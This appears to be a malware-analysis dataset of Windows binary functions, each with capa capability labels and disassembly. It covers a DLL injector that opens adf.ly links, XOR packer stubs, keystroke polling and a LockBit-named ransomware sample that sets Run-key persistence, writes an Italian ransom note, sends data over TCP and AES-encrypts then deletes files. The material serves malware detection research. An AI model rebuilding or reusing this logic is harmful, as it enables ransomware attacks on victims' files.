joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100034c0
Capabilities:
Create thread
Execute command

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
cmp dword [esp + 8], 1
jne 0x10003529
push esi
push 0
push str.Fenix
push str....:::Injetado_Com_Sucesso:::...
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 0
push 0
push 0x10003430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.MSVCR90.dll_system]
push str.start_http:__adf.ly_Lk0SS
call esi
push str.start_http:__adf.ly_Lk0SS
call esi
push str.start_http:__adf.ly_Lk0SS
call esi
push str.start_http:__adf.ly_Lk0SS
call esi
push str.start_http:__adf.ly_Lk0SS
call esi
add esp, 0x14
pop esi
mov eax, 1
ret 0xc

Function at 0x100035a0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x10
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
pushal
nop
mov eax, 1
nop
popal
pushal
nop
mov eax, 1
nop
popal
push 6
push ebp
call fcn.10003540
add esp, 8
mov dword [esp + 0x14], eax
test eax, eax
jne 0x100035d8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pushal
nop
mov eax, 1
nop
popal
mov ebx, dword [esp + 0x14]
lea eax, [ebx + 6]
push eax
call dword [sym.imp.MSVCR90.dll_malloc]
mov byte [eax], bl
inc eax
add esp, 4
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
pushal
nop
mov eax, 1
nop
popal
mov edi, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [esp + 0x18]
push edi
push ebp
push esi
call sub.MSVCR90.dll_memcpy
mov dl, byte [0x10006028]
add esi, edi
sub edi, esi
lea eax, [edi + ebp - 5]
add esp, 0xc
mov byte [esi], dl
mov dword [esi + 1], eax
pushal
nop
mov eax, 1
nop
popal
mov cl, byte [0x10006030]
mov edx, dword [esp + 0x28]
mov byte [ebp], cl
mov ecx, dword [esp + 0x14]
mov dword [ebp + 1], edx
mov al, byte [0x10006034]
mov byte [ebp + 5], al
mov eax, 6
cmp ecx, eax
jle 0x1000367e
lea esp, [esp]
mov dl, byte [0x1000602c]
mov byte [eax + ebp], dl
inc eax
cmp eax, ecx
jl 0x10003670
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push edx
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pushal
nop
mov eax, 1
nop
popal
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x100039b0
Capabilities:
Log keystrokes via polling

Disassembly:
push edi
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x2d
call edi
test al, 1
je 0x100039cf
xor eax, eax
cmp dword [0x1000601c], eax
sete al
mov dword [0x1000601c], eax
cmp dword [0x1000601c], 0
je 0x10003ad0
push esi
push 0x26
call edi
test al, 1
je 0x10003a13
mov ecx, dword [0x10007798]
mov eax, dword [0x10007794]
mov edx, 2
sub eax, 1
jns 0x100039fd
lea eax, [ecx - 1]
lea esi, [eax + eax*2]
shl esi, 4
cmp dword [esi + 0x100064a0], edx
je 0x100039f5
pop esi
mov dword [0x10007794], eax
pop edi
ret
push 0x28
call edi
test al, 1
mov eax, dword [0x10007794]
je 0x10003a4d
mov ecx, dword [0x10007798]
mov edx, 2
jmp 0x10003a30
inc eax
cmp eax, ecx
jne 0x10003a37
xor eax, eax
lea esi, [eax + eax*2]
shl esi, 4
cmp dword [esi + 0x100064a0], edx
je 0x10003a30
pop esi
mov dword [0x10007794], eax
pop edi
ret
lea ecx, [eax + eax*2]
shl ecx, 4
cmp dword [ecx + 0x100064c8], 0
je 0x10003acf
push 0x25
xor esi, esi
call edi
test al, 1
je 0x10003a7e
mov eax, dword [0x10007794]
lea edx, [eax + eax*2]
shl edx, 4
mov eax, dword [edx + 0x100064c8]
cmp dword [eax], esi
jle 0x10003a7e
or esi, 0xffffffff
push 0x27
call edi
mov ecx, dword [0x10007794]
test al, 1
je 0x10003aaa
lea eax, [ecx + ecx*2]
shl eax, 4
mov edx, dword [eax + 0x100064cc]
mov eax, dword [eax + 0x100064c8]
dec edx
cmp dword [eax], edx
jge 0x10003aaa
mov esi, 1
jmp 0x10003aae
test esi, esi
je 0x10003acf
lea eax, [ecx + ecx*2]
shl eax, 4
mov ecx, dword [eax + 0x100064c8]
add dword [ecx], esi
cmp dword [eax + 0x100064a0], 1
jne 0x10003acf
mov dword [0x10007798], 0
pop esi
pop edi
ret

Function at 0x10003afe
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10003b08
repz ret
jmp fcn.10003ebb
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x68572ac3
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x681e7f62
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x32f0279
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x645d52ce
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401460
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0xc], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x10], str.SG_Enterprise
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x401533
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x118]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], str.Chiave_di_registro_aggiunta_per_persistenza:__s_n
call sub.msvcrt.dll_printf
jmp 0x40153f
mov dword [esp], str.Errore_nellaggiunta_al_registro.
call sub.msvcrt.dll_puts
nop
leave
ret

Function at 0x401570
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], str.C:UsersPublicREADME_LOCKBIT.txt
mov dword [esp + 4], 0x40d153
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4015ff
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x2c
mov dword [esp + 4], 1
mov dword [esp], str.Tutti_i_tuoi_file_sono_stati_crittografati__n
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4c
mov dword [esp + 4], 1
mov dword [esp], str.Paga_100_milioni_in_lire_per_recuperarli_o_chiedi_al_mio_SG_di_Intellisync._n
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Nota_di_riscatto_creata:__s_n
call sub.msvcrt.dll_printf
jmp 0x40160b
mov dword [esp], str.Errore_nella_creazione_della_nota_di_riscatto.
call sub.msvcrt.dll_puts
nop
leave
ret
Function at 0x401667
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov dword [esp], str.Tentativo_di_connessione_al_server...
call sub.msvcrt.dll_puts
lea eax, [ebp - 0x19c]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sub.WS2_32.dll_WSAStartup
sub esp, 8
test eax, eax
je 0x4016b3
call sub.WS2_32.dll_WSAGetLastError
mov dword [esp + 4], eax
mov dword [esp], str.Errore_Winsock:__d_n
call sub.msvcrt.dll_printf
jmp 0x4017ed
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_socket
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4016fa
call sub.WS2_32.dll_WSAGetLastError
mov dword [esp + 4], eax
mov dword [esp], str.Errore_socket:__d_n
call sub.msvcrt.dll_printf
call sub.WS2_32.dll_WSACleanup
jmp 0x4017ed
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.dll_inet_addr
sub esp, 4
mov dword [ebp - 0x1a8], eax
mov word [ebp - 0x1ac], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
call sub.WS2_32.dll_htons
sub esp, 4
mov word [ebp - 0x1aa], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1ac]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.dll_connect
sub esp, 0xc
test eax, eax
jns 0x40177d
call sub.WS2_32.dll_WSAGetLastError
mov dword [esp + 4], eax
mov dword [esp], str.Errore_nella_connessione:__d_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
jmp 0x4017ed
mov dword [esp], str.Connessione_al_server_stabilita.
call sub.msvcrt.dll_puts
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
test eax, eax
jns 0x4017c7
mov dword [esp], str.Errore_nellinvio_dei_dati.
call sub.msvcrt.dll_puts
jmp 0x4017da
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.Messaggio_inviato_al_server:__s_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
leave
ret
Function at 0x4017ef
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov dword [esp + 4], 0x40d331
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x40d334
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
je 0x401830
cmp dword [ebp - 0x14], 0
jne 0x40186e
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Errore_nellapertura_del_file:__s_n
call sub.msvcrt.dll_printf
cmp dword [ebp - 0x10], 0
je 0x401854
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
cmp dword [ebp - 0x14], 0
je 0x4019ab
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
jmp 0x4019ac
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x38]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf8]
mov dword [esp], eax
call fcn.00401e95
jmp 0x401913
cmp dword [ebp - 0x18], 0xf
ja 0x4018d4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x4018ce
mov eax, dword [ebp - 0x18]
mov edx, 0x10
sub edx, eax
lea ecx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xf
jbe 0x4018b6
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf8]
mov dword [esp], eax
call fcn.00402d7a
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 1
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 1
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4018a8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_remove
test eax, eax
jne 0x40197c
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.File_originale_rimosso:__s_n
call sub.msvcrt.dll_printf
jmp 0x40198f
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Errore_nella_rimozione_del_file_originale:__s_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Crittografato:__s_____s_n
call sub.msvcrt.dll_printf
jmp 0x4019ac
nop
leave
ret
Function at 0x4019ae
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s.
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.00403c40
lea eax, [ebp - 0x150]
mov dword [esp + 4], eax
lea eax, [ebp - 0x254]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401a1f
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Errore:_impossibile_accedere_alla_directory__s._n
call sub.msvcrt.dll_printf
jmp 0x401af0
mov eax, dword [ebp - 0x150]
and eax, 0x10
test eax, eax
jne 0x401abf
lea eax, [ebp - 0x150]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x358]
mov dword [esp], eax
call fcn.00403c40
lea eax, [ebp - 0x150]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s.lockbit
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x45c]
mov dword [esp], eax
call fcn.00403c40
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x45c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x358]
mov dword [esp], eax
call fcn.004017ef
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jge 0x401ae1
lea eax, [ebp - 0x150]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
test eax, eax
jne 0x401a1f
jmp 0x401ae2
nop
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
leave
ret
Function at 0x401b37
Capabilities:
Create thread

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x40
mov ebx, ecx
call fcn.00403550
cmp dword [ebx], 1
jg 0x401b74
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov dword [esp + 4], eax
mov dword [esp], str.Uso:__s__directory__n
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x401c3f
call fcn.00401460
call fcn.00401542
call fcn.00401570
call fcn.0040160e
mov eax, dword [ebx + 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov byte [ebp - 0x1c], 1
mov byte [ebp - 0x1b], 2
mov byte [ebp - 0x1a], 3
mov byte [ebp - 0x19], 4
mov byte [ebp - 0x18], 5
mov byte [ebp - 0x17], 6
mov byte [ebp - 0x16], 7
mov byte [ebp - 0x15], 8
mov byte [ebp - 0x14], 9
mov byte [ebp - 0x13], 0xa
mov byte [ebp - 0x12], 0xb
mov byte [ebp - 0x11], 0xc
mov byte [ebp - 0x10], 0xd
mov byte [ebp - 0xf], 0xe
mov byte [ebp - 0xe], 0xf
mov byte [ebp - 0xd], 0x10
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401af2
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [esp + 8], 0x64
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.004019ae
mov dword [esp], str.Crittografia_completata._Pausa_di_30_minuti...
call sub.msvcrt.dll_puts
mov dword [esp], 0x1b7740
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x401c08
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x401f2d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
mov byte [ebp - 0x1c], al
mov byte [ebp - 9], 0
jmp 0x401fb7
mov byte [ebp - 0xa], 0
jmp 0x401fad
movzx ebx, byte [ebp - 9]
movzx edx, byte [ebp - 0xa]
movzx eax, byte [ebp - 9]
movzx ecx, byte [ebp - 0xa]
mov esi, dword [ebp + 0xc]
shl eax, 2
add eax, esi
add eax, ecx
movzx eax, byte [eax]
mov byte [ebp - 0x19], al
movzx eax, byte [ebp - 0x1c]
lea ecx, [eax*4]
movzx eax, byte [ebp - 9]
add eax, ecx
lea ecx, [eax*4]
movzx eax, byte [ebp - 0xa]
add eax, ecx
mov ecx, eax
mov eax, dword [ebp + 0x10]
add eax, ecx
movzx eax, byte [eax]
xor al, byte [ebp - 0x19]
mov byte [ebp - 0x19], al
mov ecx, dword [ebp + 0xc]
lea eax, [ebx*4]
add eax, ecx
add eax, edx
movzx edx, byte [ebp - 0x19]
mov byte [eax], dl
add byte [ebp - 0xa], 1
cmp byte [ebp - 0xa], 3
jbe 0x401f47
add byte [ebp - 9], 1
cmp byte [ebp - 9], 3
jbe 0x401f41
nop
add esp, 0x14
pop ebx
pop esi
pop ebp
ret

Function at 0x401fc5
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov byte [ebp - 9], 0
jmp 0x40201e
mov byte [ebp - 0xa], 0
jmp 0x402014
movzx esi, byte [ebp - 0xa]
movzx ecx, byte [ebp - 9]
movzx eax, byte [ebp - 0xa]
movzx edx, byte [ebp - 9]
mov ebx, dword [ebp + 8]
shl eax, 2
add eax, ebx
add eax, edx
movzx eax, byte [eax]
movzx eax, al
movzx edx, byte [eax + str.cw]
mov ebx, dword [ebp + 8]
lea eax, [esi*4]
add eax, ebx
add eax, ecx
mov byte [eax], dl
add byte [ebp - 0xa], 1
cmp byte [ebp - 0xa], 3
jbe 0x401fd9
add byte [ebp - 9], 1
cmp byte [ebp - 9], 3
jbe 0x401fd3
nop
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x402ad9
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov byte [ebp - 9], 0
jmp 0x402b32
mov byte [ebp - 0xa], 0
jmp 0x402b28
movzx esi, byte [ebp - 0xa]
movzx ecx, byte [ebp - 9]
movzx eax, byte [ebp - 0xa]
movzx edx, byte [ebp - 9]
mov ebx, dword [ebp + 8]
shl eax, 2
add eax, ebx
add eax, edx
movzx eax, byte [eax]
movzx eax, al
movzx edx, byte [eax + 0x40d580]
mov ebx, dword [ebp + 8]
lea eax, [esi*4]
add eax, ebx
add eax, ecx
mov byte [eax], dl
add byte [ebp - 0xa], 1
cmp byte [ebp - 0xa], 3
jbe 0x402aed
add byte [ebp - 9], 1
cmp byte [ebp - 9], 3
jbe 0x402ae7
nop
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x402d37
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov byte [ebp - 5], 0
jmp 0x402d6d
movzx edx, byte [ebp - 5]
mov eax, dword [ebp + 8]
add eax, edx
movzx ecx, byte [ebp - 5]
mov edx, dword [ebp + 8]
add edx, ecx
movzx ebx, byte [edx]
movzx ecx, byte [ebp - 5]
mov edx, dword [ebp + 0xc]
add edx, ecx
movzx edx, byte [edx]
xor edx, ebx
mov byte [eax], dl
add byte [ebp - 5], 1
cmp byte [ebp - 5], 0xf
jbe 0x402d44
nop
add esp, 0x10
pop ebx
pop ebp
ret
Function at 0x403660
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x410044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x41003c]
sub esp, 4
test ebx, ebx
je 0x4036ab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x4036a4
test esi, esi
je 0x4036a4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403680
mov dword [esp], 0x410044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x403890
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4038e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4039b8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40391e
cmp eax, 4
jne 0x403940
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40392e
cmp edx, 4
je 0x40392e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00403890